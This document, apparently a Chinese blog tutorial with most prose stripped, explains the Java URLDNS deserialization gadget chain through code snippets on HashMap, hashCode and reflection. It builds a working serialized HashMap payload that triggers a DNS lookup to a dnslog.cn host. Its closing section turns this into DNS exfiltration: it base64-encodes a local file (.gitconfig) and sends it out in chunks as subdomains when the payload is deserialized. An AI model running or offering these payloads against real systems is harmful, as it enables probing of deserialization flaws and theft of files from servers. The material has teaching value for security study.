一篇文章说清楚URLDNS链

package com.nvyao.hashmap;import java.net.URL;import java.util.HashMap;import java.util.Map;public class HashMapAndURL {    public static void main(String[] args) throws Exception {        //1.定义一个URL实例        URL url = new URL("http://hello.5q2iyo.dnslog.cn");        //2.定义一个HashMap实例        Map<URL, String> hashmap = new HashMap<>();        //3.将url实例存入hashmap中        hashmap.put(url, "SecNotes");  //执行到这里会触发解析dns，调试跟踪到：URLStreamHandler类的hashCode方法    }}

package com.nvyao.hashmap;import com.nvyao.bean.Human;import java.net.MalformedURLException;import java.util.HashMap;import java.util.Map;public class HashMapDemo {    public static void main(String[] args) throws MalformedURLException {        // 创建一个 HashMap 对象        Map<String, Integer> studentScores = new HashMap<>();        // 向 HashMap 中添加键值对        studentScores.put("Tom", 85);        studentScores.put("Jerry", 95);        studentScores.put("Jim", 78);        studentScores.put("Joe", 98);        // 获取键对应的值        int aliceScore = studentScores.get("Tom");        System.out.println("Tom's score: " + aliceScore);        // 检查键是否存在        boolean isBobPresent = studentScores.containsKey("Jim");        System.out.println("Is Jim present? " + isBobPresent);        // 遍历 HashMap 的键值对        for (Map.Entry<String, Integer> entry : studentScores.entrySet()) {            String name = entry.getKey();            int score = entry.getValue();            System.out.println(name + "'s score: " + score);        }        // 删除键值对        studentScores.remove("Jerry");        // 清空 HashMap        studentScores.clear();        // 检查 HashMap 是否为空        boolean isEmpty = studentScores.isEmpty();        System.out.println("Is the HashMap empty? " + isEmpty);        // 以下演示Map<Integer, Human>方式，K是Integer，V是Human类型        Human h1 = new Human("hh11",18);        Human h2 = new Human("hh22",28);        Human h3 = new Human("hh33",20);        Map<Integer, Human> humans = new HashMap<>();        humans.put(1, h1);        humans.put(2, h2);        humans.put(3, h3);        Human human = humans.get(1);        System.out.println(human);        System.out.println(human.getName());    }}

package com.nvyao.bean;import java.util.Objects;public class Human {    private String name;    private int age;    /** 省略getter、settter方法 */    /**     * 自定义的hashCode方法     * @return     *///    @Override//    public int hashCode() {//        int result = 17; // 初始值，可随意选择一个非零常数//        result = 31 * result + name.hashCode(); // 乘以一个质数后加上name的哈希码//        result = 31 * result + age; // 乘以一个质数后加上age//        return result;//    }    @Override    public boolean equals(Object o) {        if (this == o) return true;        if (!(o instanceof Human)) return false;        Human human = (Human) o;        return getAge() == human.getAge() && Objects.equals(getName(), human.getName());    }    /**     * 重写的hashCode方法     * @return     */    @Override    public int hashCode() {        return Objects.hash(getName(), getAge());    }    public static void main(String[] args) {        Human h1 = new Human("zhangsan", 30);        Human h2 = new Human("zhangsan", 30);        int hashCode1 = h1.hashCode();        int hashCode2 = h2.hashCode();        //输出哈希码        System.out.println("HashCode 1: " + hashCode1);        System.out.println("HashCode 2: " + hashCode2);        // 比较对象的相等性        boolean areEqual = h1.equals(h2);        System.out.println("Are objects equal? " + areEqual);        /*System.out.println("=========直接通过Objects.hash计算对象的哈希码==========");        Human hh3 = new Human("xxoo", 100);        int hh3_hash = Objects.hash(hh3);        System.out.println(hh3_hash);*/    }}

Apple apple = new Apple(); //直接初始化，「正射」apple.setPrice(4);

Class clz = Class.forName("com.nvyao.reflect.Apple");Method method = clz.getMethod("setPrice", int.class);Constructor constructor = clz.getConstructor();Object object = constructor.newInstance();method.invoke(object, 4); //运行时通过骚操作操作类/对象， 「反射」

public class Apple {    private int price;    public int getPrice() {        return price;    }    public void setPrice(int price) {        this.price = price;    }    public static void main(String[] args) throws Exception{        //正常的调用        Apple apple = new Apple();        apple.setPrice(5);        System.out.println("Apple Price:" + apple.getPrice());        //使用反射调用        Class clz = Class.forName("com.chenshuyi.api.Apple");        Method setPriceMethod = clz.getMethod("setPrice", int.class);        Constructor appleConstructor = clz.getConstructor();        Object appleObj = appleConstructor.newInstance();        setPriceMethod.invoke(appleObj, 14);        Method getPriceMethod = clz.getMethod("getPrice");        System.out.println("Apple Price:" + getPriceMethod.invoke(appleObj));    }}

//4.将url实例存入hashmap中hashmap.put(url, "SecNotes");//5.反射将url对象的hashCode属性改为-1，这样反序列化的时候才可以执行hashCode方法hashCodeField.set(url, -1);

//3.反射将url对象的hashCode属性值为非-1，为了不让序列化时发起dns请求Class<? extends URL> urlClass = url.getClass();Field hashCodeField = urlClass.getDeclaredField("hashCode");hashCodeField.setAccessible(true);hashCodeField.set(url, 1234);

package com.nvyao.hashmap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;import java.util.Map;public class HashMapAndURL {    public void serialize() throws Exception{        //1.定义一个URL实例        URL url = new URL("http://hello.luie99.dnslog.cn");        //2.定义一个HashMap实例        Map<URL, String> hashmap = new HashMap<>();        //3.反射将url对象的hashCode属性值为-1，为了不让序列化时发起dns请求        Class<? extends URL> urlClass = url.getClass();        Field hashCodeField = urlClass.getDeclaredField("hashCode");        hashCodeField.setAccessible(true);        hashCodeField.set(url, 1234);        //4.将url实例存入hashmap中        hashmap.put(url, "SecNotes");        //5.反射将url对象的hashCode属性改为-1，这样反序列化的时候才可以执行hashCode方法        hashCodeField.set(url, -1);        //5.开始序列化        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dnsurl.bin"));        oos.writeObject(hashmap);    }    public void unserialize() throws Exception {        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("dnsurl.bin"));        ois.readObject();    }    public static void main(String[] args) throws Exception {        HashMapAndURL hashMapAndURL = new HashMapAndURL();        hashMapAndURL.unserialize();    }}

1）HashMap -> readObject(重写的)2）HashMap -> putVal()3）HashMap -> hash()4）URL -> hashCode()5）URLStreamHandler -> hashCode()6）URLStreamHandler -> getHostAddress()7）InetAddress -> getByName()

    public void serializePasswd() throws Exception {        //1.将文件内容转换为base64编码        FileInputStream fis = new FileInputStream("/Users/liujianping/.gitconfig");        byte[] bytearray = new byte[fis.available()];        fis.read(bytearray);        String b64Str = Base64.getEncoder().encodeToString(bytearray);        System.out.println(b64Str);        System.out.println("文件字节长度：" + b64Str.length());        //2.将文件内容按照每次50个字符进行序列化        int counts = b64Str.length() / 36;//        int chars = b64Str.length() % 50;        //3.定义一个HashMap实例        Map<URL, String> hashmap = new HashMap<>();        for (int i = 0; i < counts; i++) {            String substring = b64Str.substring(36 * i, 36 * i + 36);            URL url = new URL("http://"+ substring +".bfdcp9.dnslog.cn");            //反射将url对象的hashCode属性值为非-1，为了不让序列化时发起dns请求            Class<? extends URL> urlClass = url.getClass();            Field hashCodeField = urlClass.getDeclaredField("hashCode");            hashCodeField.setAccessible(true);            hashCodeField.set(url, i);            //将url实例存入hashmap中            hashmap.put(url, "readfile");            //反射将url对象的hashCode属性改为-1，这样反序列化的时候才可以执行hashCode方法            hashCodeField.set(url, -1);        }        //5.开始序列化        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("file.bin"));        oos.writeObject(hashmap);        System.out.println("序列化执行完成～～");    }

public void unSerializePasswd() throws Exception{        //6.开发反序列化        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("file.bin"));        ois.readObject();        System.out.println("反序列化执行完成～～");    }